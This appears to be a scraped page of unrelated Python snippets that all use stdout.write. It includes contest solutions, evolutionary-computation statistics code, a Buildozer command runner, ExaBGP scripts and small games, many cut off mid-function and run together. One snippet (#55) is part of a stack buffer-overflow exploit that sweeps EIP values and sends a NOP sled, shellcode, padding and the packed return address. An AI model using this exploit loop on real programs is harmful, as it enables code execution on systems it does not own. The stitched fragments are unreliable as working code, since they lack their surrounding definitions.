		stdout.write(str(result) + '\n')
	elif row[0] == 'set':
		tree.set_elem(int(row[1]) - 1, int(row[2]))
예제 #35
0
n,w,l = map(int,stdin.readline().split(' '))
h = []
r = []
for i in xrange(n):
	a,b = map(int,stdin.readline().strip().split(' '))
	h.append(a)
	r.append(b)
tl = 0
th = 10000000000000000000
while tl <= th:
	cut = 0
	tm = (th+tl)/2
	for i in xrange(n):
		if (h[i] + r[i]*tm) >= l:
			cut += (h[i] + r[i]*tm)
		if cut > w:
			break
	if cut < w:
		tl = tm+1
	elif cut > w:
		th = tm-1
	else:
		break
cut = 0
for i in xrange(n):
		if (h[i] + r[i]*tm) >= l:
			cut += (h[i] + r[i]*tm)
if cut < w:
	tm += 1
stdout.write(str(tm))
예제 #36
0
# 3. Make sure you are running Python 3.x / Tested on Python 3.7
try:
    import socket,socks
    from sys import stdout,exit
    from requests import get
    from os import system
except:
    import_in = input("[-] One or more modules are missing, should I try installing with pip? y/n: ")
    if import_in == 'y':
        system('pip install socket')
        system('pip install requests')
        system('pip install socks')
        import socket,socks
        from sys import stdout,exit
        from requests import get
        from os import system
    else:
        exit()
try:
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,'127.0.0.1', 9150)
    socket.socket = socks.socksocket
    tor_check = get("https://check.torproject.org/?lang=en").text
    if "Congratulations" in tor_check:
        stdout.write("[+] Routing through tor succeeded\n")
        ip_check = get("https://api.ipify.org/")
        stdout.write("[+] Remote IP: %s" % (ip_check.text))
    else:
        stdout.write("[!] Routing through Tor failed\n")
except:
    stdout.write("[!] Routing through Tor failed\n")
예제 #37
0
from sys import stdin, stdout

s = stdin.readline()
n = len(s)
ans = []
ch = s[0]
for i in range(n - 1):
    ans.append('Ann' if ch < s[i] else 'Mike')
    ch = min(ch, s[i])

stdout.write('\n'.join(ans))
예제 #38
0
#!/usr/bin/env python2
# from https://thepacketgeek.com/control-bgp-advertisements-to-ebgp-peers-with-exabgp/

from sys import stdout, stdin
from time import sleep

# Print the command to STDIN so ExaBGP can execute
stdout.write(
    'announce route 100.10.10.0/24 next-hop 10.0.0.2 local-preference 65000 community [100:100]\n'
)
stdout.flush()

#Keep the script running so ExaBGP doesn't stop running and tear down the BGP peering
while True:
    sleep(10)
def __get_stats__(individuals, end):

    # Get best individual.
    best = max(individuals)

    if not trackers.best_ever or best > trackers.best_ever:
        # Save best individual in trackers.best_ever.
        trackers.best_ever = best

    if end or params['VERBOSE'] or not params['DEBUG']:
        # Update all stats.
        update_stats(individuals, end)

    # Save fitness plot information
    if params['SAVE_PLOTS'] and not params['DEBUG']:
        if not end:
            trackers.best_fitness_list.append(trackers.best_ever.fitness)

        if params['VERBOSE'] or end:
            save_plot_from_data(trackers.best_fitness_list, "best_fitness")

    # Print statistics
    if params['VERBOSE'] and not end:
        print_generation_stats()

    elif not params['SILENT']:
        # Print simple display output.
        perc = stats['gen'] / (params['GENERATIONS'] + 1) * 100
        stdout.write("Evolution: %d%% complete\r" % perc)
        stdout.flush()

    # Generate test fitness on regression problems
    if hasattr(params['FITNESS_FUNCTION'], "training_test") and end:

        # Save training fitness.
        trackers.best_ever.training_fitness = copy(trackers.best_ever.fitness)

        # Evaluate test fitness.
        trackers.best_ever.test_fitness = params['FITNESS_FUNCTION'](
            trackers.best_ever, dist='test')

        # Set main fitness as training fitness.
        trackers.best_ever.fitness = trackers.best_ever.training_fitness

    # Save stats to list.
    if params['VERBOSE'] or (not params['DEBUG'] and not end):
        trackers.stats_list.append(copy(stats))

    # Save stats to file.
    if not params['DEBUG']:

        if stats['gen'] == 0:
            save_stats_headers(stats)

        save_stats_to_file(stats, end)

        if params['SAVE_ALL']:
            save_best_ind_to_file(stats, trackers.best_ever, end, stats['gen'])

        elif params['VERBOSE'] or end:
            save_best_ind_to_file(stats, trackers.best_ever, end)

    # if end and not params['SILENT']:
    # print_final_stats()

    return stats
        adj[v].append(u)
    # select one starting node with color id `val`
    group = [i for i, c in enumerate(ids) if c == val]
    if len(group) < 2:
        return -1
    # do BFS
    ans = -1
    for s in group:
        distance = bfs(g_nodes, adj, s)
        for i in group:
            if ids[i] != val or i == s:
                continue
            if ans == -1:
                ans = distance[i]
            else:
                ans = min(ans, distance[i])
    return ans


if __name__ == "__main__":
    n, m = map(int, stdin.readline().rstrip().split())
    g_from, g_to = [], []
    for _ in range(m):
        u, v = map(int, stdin.readline().rstrip().split())
        g_from.append(u - 1)
        g_to.append(v - 1)
    ids = list(map(int, stdin.readline().rstrip().split()))
    val = int(stdin.readline().rstrip())
    ans = findShortest(n, g_from, g_to, ids, val)
    stdout.write(str(ans) + '\n')
예제 #41
0
 print("\n« Rien ne va plus »\n");
 attendre(1);        
 
 # 4) Le nombre de la roulette est tiré aléatoirement, il servira
 # plus tard à calculer le score des joueurs
 #nbRoulette = tirerNombreRoulette();
 nbRoulette = tirerNombreRoulette();
 print("");
 attendre(0.7);
 
 # 5) Le score de chaque joueur est calculé et ensuite affiché
 calculerScore(joueurs, nbRoulette);
 
 print("");
 for i in range(4) :
     stdout.write('.')
     stdout.flush()
     attendre(0.7);
 
 effacerConsole();
 
 # 6) Un classement des joueurs est affiché avec leur score respectifs
 afficherClassement(joueurs);
 
 # 7) On demande à l'utilisateur s'il veut continuer la partie
 reponse = input("\n« Relancer la bille sur la roulette ? » (o/n) : ");
 if (reponse == 'o' or reponse == 'O') :
     jouer = True;
 else :
     jouer = False;
 
def get_soo_stats(individuals, end):
    """
    Generate the statistics for an evolutionary run with a single objective.
    Save statistics to utilities.trackers.stats_list. Print statistics. Save
    fitness plot information.

    :param individuals: A population of individuals for which to generate
    statistics.
    :param end: Boolean flag for indicating the end of an evolutionary run.
    :return: Nothing.
    """

    # Get best individual.
    best = max(individuals)

    if not trackers.best_ever or best > trackers.best_ever:
        # Save best individual in trackers.best_ever.
        trackers.best_ever = best

    if end or params['VERBOSE'] or not params['DEBUG']:
        # Update all stats.
        update_stats(individuals, end)

    # Save fitness plot information
    if params['SAVE_PLOTS'] and not params['DEBUG']:
        if not end:
            trackers.best_fitness_list.append(trackers.best_ever.fitness)

        if params['VERBOSE'] or end:
            save_plot_from_data(trackers.best_fitness_list, "best_fitness")

    # Print statistics
    if params['VERBOSE'] and not end:
        print_generation_stats()

    elif not params['SILENT']:
        # Print simple display output.
        perc = stats['gen'] / (params['GENERATIONS'] + 1) * 100
        stdout.write("Evolution: %d%% complete\r" % perc)
        stdout.flush()

    # Generate test fitness on regression problems
    if hasattr(params['FITNESS_FUNCTION'], "training_test") and end:

        # Save training fitness.
        trackers.best_ever.training_fitness = copy(trackers.best_ever.fitness)

        # Evaluate test fitness.
        trackers.best_ever.test_fitness = params['FITNESS_FUNCTION'](
            trackers.best_ever, dist='test')

        # Set main fitness as training fitness.
        trackers.best_ever.fitness = trackers.best_ever.training_fitness

    # Save stats to list.
    if params['VERBOSE'] or (not params['DEBUG'] and not end):
        trackers.stats_list.append(copy(stats))

    # Save stats to file.
    if not params['DEBUG']:

        if stats['gen'] == 0:
            save_stats_headers(stats)

        save_stats_to_file(stats, end)

        if params['SAVE_ALL']:
            save_best_ind_to_file(stats, trackers.best_ever, end, stats['gen'])

        elif params['VERBOSE'] or end:
            save_best_ind_to_file(stats, trackers.best_ever, end)

    if end and not params['SILENT']:
        print_final_stats()
예제 #43
0
# Date created : 2020-06-02
# Description  :
# Status       : Accepted (33570566)
# Tags         : python, game theory, coin flip, integer sequence A004526 (OEIS)
# Comment      :

from sys import stdin, stdout


def solve(starting_coin_state, no_of_coins, demand_state):
    no_of_heads = no_of_coins//2
    no_of_tails = no_of_coins - no_of_heads
    
    if starting_coin_state == 2:
        no_of_heads, no_of_tails = no_of_tails, no_of_heads
    
    if demand_state == 1:
        return no_of_heads
    else:
        return no_of_tails
    

no_of_test_cases = int(stdin.readline())

for _ in range(no_of_test_cases):
    no_of_games = int(stdin.readline())
    for _ in range(no_of_games):
        starting_coin_state, no_of_coins, demand_state = map(int, stdin.readline().split())
        result = solve(starting_coin_state, no_of_coins, demand_state)
        stdout.write(str(result) + "\n")
def get_moo_stats(individuals, end):
    """
    Generate the statistics for an evolutionary run with multiple objectives.
    Save statistics to utilities.trackers.stats_list. Print statistics. Save
    fitness plot information.

    :param individuals: A population of individuals for which to generate
    statistics.
    :param end: Boolean flag for indicating the end of an evolutionary run.
    :return: Nothing.
    """

    # Compute the pareto front metrics for the population.
    pareto = compute_pareto_metrics(individuals)

    # Save first front in trackers. Sort arbitrarily along first objective.
    trackers.best_ever = sorted(pareto.fronts[0], key=lambda x: x.fitness[0])

    # Store stats about pareto fronts.
    stats['pareto_fronts'] = len(pareto.fronts)
    stats['first_front'] = len(pareto.fronts[0])

    if end or params['VERBOSE'] or not params['DEBUG']:
        # Update all stats.
        update_stats(individuals, end)

    # Save fitness plot information
    if params['SAVE_PLOTS'] and not params['DEBUG']:

        # Initialise empty array for fitnesses for all inds on first pareto
        # front.
        all_arr = [[] for _ in range(params['FITNESS_FUNCTION'].num_obj)]

        # Generate array of fitness values.
        fitness_array = [ind.fitness for ind in trackers.best_ever]

        # Add paired fitnesses to array for graphing.
        for fit in fitness_array:
            for o in range(params['FITNESS_FUNCTION'].num_obj):
                all_arr[o].append(fit[o])

        if not end:
            trackers.first_pareto_list.append(all_arr)

            # Append empty array to best fitness list.
            trackers.best_fitness_list.append([])

            # Get best fitness for each objective.
            for o, ff in \
                    enumerate(params['FITNESS_FUNCTION'].fitness_functions):

                # Get sorted list of all fitness values for objective "o"
                fits = sorted(all_arr[o], reverse=ff.maximise)

                # Append best fitness to trackers list.
                trackers.best_fitness_list[-1].append(fits[0])

        if params['VERBOSE'] or end:

            # Plot best fitness for each objective.
            for o, ff in \
                    enumerate(params['FITNESS_FUNCTION'].fitness_functions):
                to_plot = [i[o] for i in trackers.best_fitness_list]

                # Plot fitness data for objective o.
                plotname = ff.__class__.__name__ + str(o)

                save_plot_from_data(to_plot, plotname)

            # TODO: PonyGE2 can currently only plot moo problems with 2 objectives.
            # Check that the number of fitness objectives is not greater than 2
            if params['FITNESS_FUNCTION'].num_obj > 2:
                s = "stats.stats.get_moo_stats\n" \
                    "Warning: Plotting of more than 2 simultaneous " \
                    "objectives is not yet enabled in PonyGE2."
                print(s)

            else:
                save_pareto_fitness_plot()

    # Print statistics
    if params['VERBOSE'] and not end:
        print_generation_stats()
        print_first_front_stats()

    elif not params['SILENT']:
        # Print simple display output.
        perc = stats['gen'] / (params['GENERATIONS'] + 1) * 100
        stdout.write("Evolution: %d%% complete\r" % perc)
        stdout.flush()

    # Generate test fitness on regression problems
    if hasattr(params['FITNESS_FUNCTION'], "training_test") and end:

        for ind in trackers.best_ever:
            # Iterate over all individuals in the first front.

            # Save training fitness.
            ind.training_fitness = copy(ind.fitness)

            # Evaluate test fitness.
            ind.test_fitness = params['FITNESS_FUNCTION'](ind, dist='test')

            # Set main fitness as training fitness.
            ind.fitness = ind.training_fitness

    # Save stats to list.
    if params['VERBOSE'] or (not params['DEBUG'] and not end):
        trackers.stats_list.append(copy(stats))

    # Save stats to file.
    if not params['DEBUG']:

        if stats['gen'] == 0:
            save_stats_headers(stats)

        save_stats_to_file(stats, end)

        if params['SAVE_ALL']:
            save_first_front_to_file(stats, end, stats['gen'])

        elif params['VERBOSE'] or end:
            save_first_front_to_file(stats, end)

    if end and not params['SILENT']:
        print_final_moo_stats()
예제 #45
0
파일: d-it.py 프로젝트: ehnryx/acm
from sys import stdin, stdout, stderr, setrecursionlimit
setrecursionlimit(0x3f3f3f3f)

n = int(stdin.readline())
a = [int(x) for x in stdin.readline().split()]

dp = [[None for i in range(n)] for j in range(n)]

for i in range(n):
    dp[i][i] = 0

for d in range(1, n):
    for i in range(n - d):
        if a[i] == a[i + 1]:
            dp[i][i + d] = dp[i + 1][i + d]
        elif a[i + d] == a[i + d - 1]:
            dp[i][i + d] = dp[i][i + d - 1]
        elif a[i] == a[i + d]:
            dp[i][i + d] = 1 + dp[i + 1][i + d - 1]
        else:
            dp[i][i + d] = 1 + min(dp[i + 1][i + d], dp[i][i + d - 1])

stdout.write('{}\n'.format(dp[0][n - 1]))
예제 #46
0
                board[ran1] = comp_unit


while ' ' in board:
    pos = int(input('Enter where to place your %s : ' % (unit)))
    while board[pos] != ' ':
        print('This place already has a value')
        pos = int(input('Enter where to place your %s : ' % (unit)))
    enter(unit, pos)
    end = victory(unit)
    if end == True:
        print("Player wins")
        break
    if ' ' in board:
        comp_enter()
        print("Computer's move.....")
        t = 3
        while t > 0:
            stdout.write("\r%d" % t)
            stdout.flush()
            time.sleep(1)
            t -= 1
        print('\n')
        board_print()
        if victory(comp_unit):
            print("Computer wins")
            break

else:
    print('Game Over , Its a draw')
예제 #47
0
 def __printRetCode(retCode):
     stdout.write("\nReturn code: %d\n" % (retCode, ))
     stdout.flush()
예제 #48
0
파일: __init__.py 프로젝트: hir3n0/JWK
    def cmd(self, command, **kwargs):
        # prepare the environ, based on the system + our own env
        env = environ.copy()
        env.update(self.environ)

        # prepare the process
        kwargs.setdefault('env', env)
        kwargs.setdefault('stdout', PIPE)
        kwargs.setdefault('stderr', PIPE)
        kwargs.setdefault('close_fds', True)
        kwargs.setdefault('shell', True)
        kwargs.setdefault('show_output', self.log_level > 1)

        show_output = kwargs.pop('show_output')
        get_stdout = kwargs.pop('get_stdout', False)
        get_stderr = kwargs.pop('get_stderr', False)
        break_on_error = kwargs.pop('break_on_error', True)
        sensible = kwargs.pop('sensible', False)
        run_condition = kwargs.pop('run_condition', None)
        quiet = kwargs.pop('quiet', False)

        if not quiet:
            if not sensible:
                self.debug('Run {0!r}'.format(command))
            else:
                if isinstance(command, (list, tuple)):
                    self.debug('Run {0!r} ...'.format(command[0]))
                else:
                    self.debug('Run {0!r} ...'.format(command.split()[0]))
            self.debug('Cwd {}'.format(kwargs.get('cwd')))

        # open the process
        if sys.platform == 'win32':
            kwargs.pop('close_fds', None)
        process = Popen(command, **kwargs)

        # prepare fds
        fd_stdout = process.stdout.fileno()
        fd_stderr = process.stderr.fileno()
        if fcntl:
            fcntl.fcntl(fd_stdout, fcntl.F_SETFL,
                        fcntl.fcntl(fd_stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
            fcntl.fcntl(fd_stderr, fcntl.F_SETFL,
                        fcntl.fcntl(fd_stderr, fcntl.F_GETFL) | os.O_NONBLOCK)

        ret_stdout = [] if get_stdout else None
        ret_stderr = [] if get_stderr else None
        while not run_condition or run_condition():
            try:
                readx = select.select([fd_stdout, fd_stderr], [], [], 1)[0]
            except select.error:
                break
            if fd_stdout in readx:
                chunk = process.stdout.read()
                if not chunk:
                    break
                if get_stdout:
                    ret_stdout.append(chunk)
                if show_output:
                    stdout.write(chunk.decode('utf-8', 'replace'))
            if fd_stderr in readx:
                chunk = process.stderr.read()
                if not chunk:
                    break
                if get_stderr:
                    ret_stderr.append(chunk)
                if show_output:
                    stderr.write(chunk.decode('utf-8', 'replace'))

            stdout.flush()
            stderr.flush()

        try:
            process.communicate(
                timeout=(1 if run_condition and not run_condition() else None))
        except TimeoutExpired:
            pass

        if process.returncode != 0 and break_on_error:
            self.error('Command failed: {0}'.format(command))
            self.log_env(self.ERROR, kwargs['env'])
            self.error('')
            self.error('Buildozer failed to execute the last command')
            if self.log_level <= self.INFO:
                self.error(
                    'If the error is not obvious, please raise the log_level to 2'
                )
                self.error('and retry the latest command.')
            else:
                self.error(
                    'The error might be hidden in the log above this error')
                self.error(
                    'Please read the full log, and search for it before')
                self.error('raising an issue with buildozer itself.')
            self.error(
                'In case of a bug report, please add a full log with log_level = 2'
            )
            raise BuildozerCommandException()

        if ret_stdout:
            ret_stdout = b''.join(ret_stdout)
        if ret_stderr:
            ret_stderr = b''.join(ret_stderr)

        return (ret_stdout.decode('utf-8', 'ignore') if ret_stdout else None,
                ret_stderr.decode('utf-8') if ret_stderr else None,
                process.returncode)
예제 #49
0
 def on_status(self, status):
     '''Function executes when Tweet received'''
     tpm_elapsed_time = datetime.datetime.now() - self.last_update_time
     elapsed_time = datetime.datetime.now() - self.start_time
     message = ""
     try:
         tweet = status.extended_tweet["full_text"]
     except AttributeError:
         tweet = status.text
     for tag in self.tags:
         if not tweet.startswith('RT'):
             if tag.upper() in tweet.upper():
                 self.dict_num_tweets[tag] += 1
                 self.dict_tpm_num_tweets[tag] += 1
                 for pos_word in self.positive_words:
                     if pos_word.upper() in tweet.upper():
                         self.dict_sentiment[tag] += 1
                         self.dict_tpm_sentiment[tag] += 1
                         break
                 for neg_word in self.negative_words:
                     if neg_word.upper() in tweet.upper():
                         if tag == "biden":
                             #tweet_1 = string.join(" ", re.split("(?:\r\n|\n|\r)", tweet))
                             tweet_1 = tweet.replace('|', ' ')
                             tweet_1 = tweet.replace('\n', ' ')
                             self.dict_sentiment[tag] -= 1
                             self.dict_tpm_sentiment[tag] -= 1
                             self.dict_sentiment["trump"] += 1
                             self.dict_tpm_sentiment["trump"] += 1
                             led_elapsed_time_1 = datetime.datetime.now(
                             ) - self.led_write_time_1
                             led_elapsed_time_2 = datetime.datetime.now(
                             ) - self.led_write_time_2
                             if led_elapsed_time_1.seconds >= (
                                     55 + randint(1, 10)
                             ) and led_elapsed_time_2.seconds >= 2:
                                 self.led_write_time_1 = write_matrix(
                                     tweet_1, "1", self.led_write_time_1)
                         elif tag == "trump":
                             tweet_2 = tweet.replace('|', ' ')
                             tweet_2 = tweet.replace('\n', ' ')
                             self.dict_sentiment[tag] -= 1
                             self.dict_tpm_sentiment[tag] -= 1
                             self.dict_sentiment["biden"] += 1
                             self.dict_tpm_sentiment["biden"] += 1
                             led_elapsed_time_1 = datetime.datetime.now(
                             ) - self.led_write_time_1
                             led_elapsed_time_2 = datetime.datetime.now(
                             ) - self.led_write_time_2
                             if led_elapsed_time_2.seconds >= (
                                     55 + randint(1, 10)
                             ) and led_elapsed_time_1.seconds >= 2:
                                 self.led_write_time_2 = write_matrix(
                                     tweet_2, "0", self.led_write_time_2)
                         break
                 if self.dict_tpm_sentiment[tag] >= 0:
                     self.dict_tpm_pos_tweets[
                         tag] = self.dict_tpm_num_tweets[tag]
                 elif self.dict_tpm_sentiment[tag] < 0:
                     self.dict_tpm_pos_tweets[
                         tag] = self.dict_tpm_num_tweets[
                             tag] + self.dict_tpm_sentiment[tag]
                 if self.dict_sentiment[tag] >= 0:
                     self.dict_pos_tweets[tag] = self.dict_num_tweets[tag]
                 elif self.dict_sentiment[tag] < 0:
                     self.dict_pos_tweets[tag] = self.dict_num_tweets[
                         tag] + self.dict_sentiment[tag]
             self.dict_tweet_rate[tag] = round(self.dict_num_tweets[tag] /
                                               elapsed_time.seconds * 60)
             self.dict_pos_tweet_rate[tag] = int(self.dict_pos_tweets[tag] /
                                                 elapsed_time.seconds * 60)
             tpm_elapsed_time = datetime.datetime.now(
             ) - self.last_update_time
             if tpm_elapsed_time.seconds > 8:
                 for tag in self.tags:
                     self.dict_tpm[tag] = int(
                         self.dict_tpm_pos_tweets[tag] /
                         tpm_elapsed_time.seconds * 60)
                     self.last_update_time = datetime.datetime.now()
                     self.dict_tpm_num_tweets[tag] = 0
                     self.dict_tpm_sentiment[tag] = 0
                     self.dict_tpm_pos_tweets[tag] = 0
             if tpm_elapsed_time.seconds >= 1:
                 for tag in self.tags:
                     self.dict_tpm[tag] = int(
                         self.dict_tpm_pos_tweets[tag] /
                         tpm_elapsed_time.seconds * 60)
                     if tag == "biden":
                         self.indicator_pos_1 = min(
                             int(4 * self.dict_tpm[tag] + 150), 3240)
                         if len(self.indicator_pos_1_list) >= 40:
                             self.indicator_pos_1_list.pop(0)
                         self.indicator_pos_1_list.append(
                             self.indicator_pos_1)
                     elif tag == "trump":
                         self.indicator_pos_2 = min(
                             int(4 * self.dict_tpm[tag] + 150), 3240)
                         if len(self.indicator_pos_2_list) >= 40:
                             self.indicator_pos_2_list.pop(0)
                         self.indicator_pos_2_list.append(
                             self.indicator_pos_2)
             position1 = int(statistics.mean(self.indicator_pos_1_list))
             position2 = int(statistics.mean(self.indicator_pos_2_list))
             self.stepper_write_time = move_stepper(str(position1),
                                                    str(position2),
                                                    self.stepper_write_time)
     for tag in self.tags:
         #if self.dict_num_tweets[tag] != 0:
         #sentiment_pct = round(self.dict_sentiment[tag] / self.dict_num_tweets[tag], 2)
         #else:
         #sentiment_pct = 0
         if (tpm_elapsed_time.seconds % 2 == 0):
             message = (
                 message + tag + ": " + str(self.dict_num_tweets[tag])
                 #+ " / " + str(sentiment_pct)
                 + " / " + str(self.dict_pos_tweet_rate[tag]) + " / " +
                 str(self.dict_tpm[tag]) + " / " +
                 str(self.dict_tweet_rate[tag]) + " | ")
             stdout.write("\r | " + message + "                       ")
예제 #50
0
파일: case23.py 프로젝트: FirstPy/py
# -*- coding: utf-8 -*-
from sys import stdout
for i in range(4):
    for j in range(2 - i + 1):
        stdout.write(' ')
    for k in range(2 * i + 1):
        stdout.write('*')
    print
for i in range(3):
    for j in range(i + 1):
        stdout.write(' ')
    for k in range(4 - 2 * i + 1):
        stdout.write('*')
    print
예제 #51
0
def pr(n): return stdout.write(str(n)+"\n")


mod = 1000000007
예제 #52
0
def _run(binPath,
         args=[],
         wrkDir=None,
         isElevated=False,
         isDebug=False,
         sharedFilePath=None):
    def __printCmd(elevate, binPath, args, wrkDir):
        cmdList = [elevate, binPath]
        if isinstance(args, list): cmdList.extend(args)
        elif args is not None: cmdList.append(args)
        print('cd "%s"' % (wrkDir, ))
        print(list2cmdline(cmdList))

    def __printRetCode(retCode):
        stdout.write("\nReturn code: %d\n" % (retCode, ))
        stdout.flush()

    binDir, fileName = splitPath(binPath)
    if wrkDir is None: wrkDir = binDir
    isMacApp = _isMacApp(binPath)

    # Handle elevated sub processes in Windows
    if IS_WINDOWS and isElevated and not __windowsIsElevated():
        __printCmd("", binPath, args, wrkDir)
        retCode = __windowsElevated(binPath, args, wrkDir)  # always in debug
        if isDebug and retCode is not None: __printRetCode(retCode)
        return

    # "Debug" mode
    if isDebug:
        setEnv(DEBUG_ENV_VAR_NAME, DEBUG_ENV_VAR_VALUE)
        if isMacApp:
            binPath = __INTERNAL_MACOS_APP_BINARY_TMPLT % (normBinaryName(
                fileName, isGui=True), normBinaryName(fileName, isGui=False))
        cmdList = [binPath]
        if isinstance(args, list): cmdList.extend(args)
        elif args is not None: cmdList.append(args)
        if not IS_WINDOWS and isElevated:
            elevate = "sudo"
            cmdList = [elevate] + cmdList
        else:
            elevate = ""
        __printCmd(elevate, binPath, args, wrkDir)
        sharedFile = (_WindowsSharedFile(isProducer=True,
                                         filePath=sharedFilePath)
                      if sharedFilePath else None)
        p = Popen(cmdList,
                  cwd=wrkDir,
                  shell=False,
                  stdout=PIPE,
                  stderr=STDOUT,
                  bufsize=1)
        while p.poll() is None:
            line = p.stdout.readline() if PY2 else p.stdout.readline().decode()
            if sharedFile: sharedFile.write(line)
            else:
                stdout.write(line)
                stdout.flush()
        if sharedFile:
            sharedFile.write(__SHARED_RET_CODE_TMPLT % (p.returncode, ))
            sharedFile.close()
        else:
            __printRetCode(p.returncode)
        delEnv(DEBUG_ENV_VAR_NAME)
        return

    # All other run conditions...
    if isMacApp:
        newArgs = [
            __LAUNCH_MACOS_APP_NEW_SWITCH, __LAUNCH_MACOS_APP_BLOCK_SWITCH,
            fileName
        ]
        if isinstance(args, list):
            newArgs.extend([_LAUNCH_MACOS_APP_ARGS_SWITCH] + args)
        args = newArgs
        binPath = fileName = _LAUNCH_MACOS_APP_CMD
    if isinstance(args, list): args = list2cmdline(args)
    elif args is None: args = ""
    elevate = "" if not isElevated or IS_WINDOWS else "sudo"
    if IS_WINDOWS or isMacApp: pwdCmd = ""
    else: pwdCmd = "./" if wrkDir == binDir else ""
    cmd = ('%s %s%s %s' % (elevate, pwdCmd, fileName, args)).strip()
    _system(cmd, wrkDir)
from sys import stdin, stdout

string = stdin.readline()
c = False
for i in range(len(string)):
    if i + 5 > len(string):
        break
    if string[i] != string[i + 1] and string[i] != string[
            i + 2] and string[i] != string[i + 3] and string[i] != string[
                i + 4] and string[i] != string[i + 5]:
        c = True
    else:
        c = False
    if string.count('0') >= string.count('1') or string.count(
            '1') >= string.count('0'):
        c = True

if c:
    stdout.write("Good luck!")
else:
    stdout.write("Sorry, sorry!")
예제 #54
0
def is_alive(address, port):
    """ This is a function that will test TCP connectivity of a given
    address and port. If a domain name is passed in instead of an address,
    the socket.connect() method will resolve.
    address (str): An IP address or FQDN of a host
    port (int): TCP destination port to use
    returns (bool): True if alive, False if not
    """
    # Create a socket object to connect with
    s = socket.socket()

    # Now try connecting, passing in a tuple with address & port
    try:
        s.connect((address, port))
        return True
    except socket.error:
        return False
    finally:
        s.close()


while True:
    if is_alive('thepacketgeek.com', 80):
        stdout.write('announce route 100.10.10.0/24 next-hop self' + '\n')
        stdout.flush()
    else:
        stdout.write('withdraw route 100.10.10.0/24 next-hop self' + '\n')
        stdout.flush()
    sleep(10)
예제 #55
0
    percen = "\33[34m" + str(p) + "%" + "\033[0m"
    ip = "\33[1m\33[31m" + str(hex(eip)) + "\033[0m"
    tmp = deepcopy(bar)
    tmp[p/2] = ip
    s = "".join(tmp)
    
    string  = ip 
    string += ": "
    string += "\33[1m("+str(hex(stack_start))+")\033[0m"
    string += s
    string += "\33[1m("+str(hex(stack_end))+")\033[0m"
    string += " "
    string += percen
    string += "\n"

    stdout.write(string)
    stdout.write("\x1b[A")
    stdout.flush()
    
    # -------------- End progress bar -------------- #
    
    sleep(0.001)
    if (eip > stack_end):   rev = True
    if (eip < stack_start): rev = False

    payload  = ""           # payload
    payload += nop          # nope sled of 200 bytes
    payload += shellcode    # shellcode
    payload += pad          # some padding
    payload += p32(eip)*8   # eip to jump to
    payload += nop*2        # a bigger nop sled 
 def print_progress(i):
     stdout.write('Iteration %d\n' % (i + 1))
예제 #57
0
def _p(x, end='\n'):
    stdout.write(str(x) + end)
예제 #58
0
from sys import stdout, stdin


def solution(n, arr):
    dp = [0] * n
    dp[0] = arr[0]
    dp[1] = max(arr[0], arr[1])
    for i in range(2, n):
        dp[i] = max(dp[i - 1], dp[i - 2] + arr[i])

    return dp[n - 1]


if __name__ == '__main__':
    n = int(stdin.readline().rstrip())
    arr = list(map(int, stdin.readline().rstrip()))

    stdout.write(str(solution(n, arr)))
예제 #59
0
#!/usr/bin/python

from sys import stdin, stdout

T = int(stdin.readline().strip())

for case_num in range(1, T + 1):
    S = stdin.readline().strip()
    P = []
    for c in S:
        if not len(P):
            P.append(c)
        else:
            if c >= P[0]:
                P.insert(0, c)
            else:
                P.append(c)
    answer = ''.join(P)
    stdout.write("Case #{:d}: {:s}\n".format(case_num, answer))
from sys import stdin, stdout

def get_ints():
	return map(float, stdin.readline().strip().split())

n = int(stdin.readline())

#n = int(input())

QALY = 0.0
for _ in range(n):

	a,b = get_ints()

	#a,b = list(map(float, input().strip().split()))
	QALY += a*b

stdout.write("{:.3f}\n".format(QALY))

#print("{:.3f}\n".format(QALY))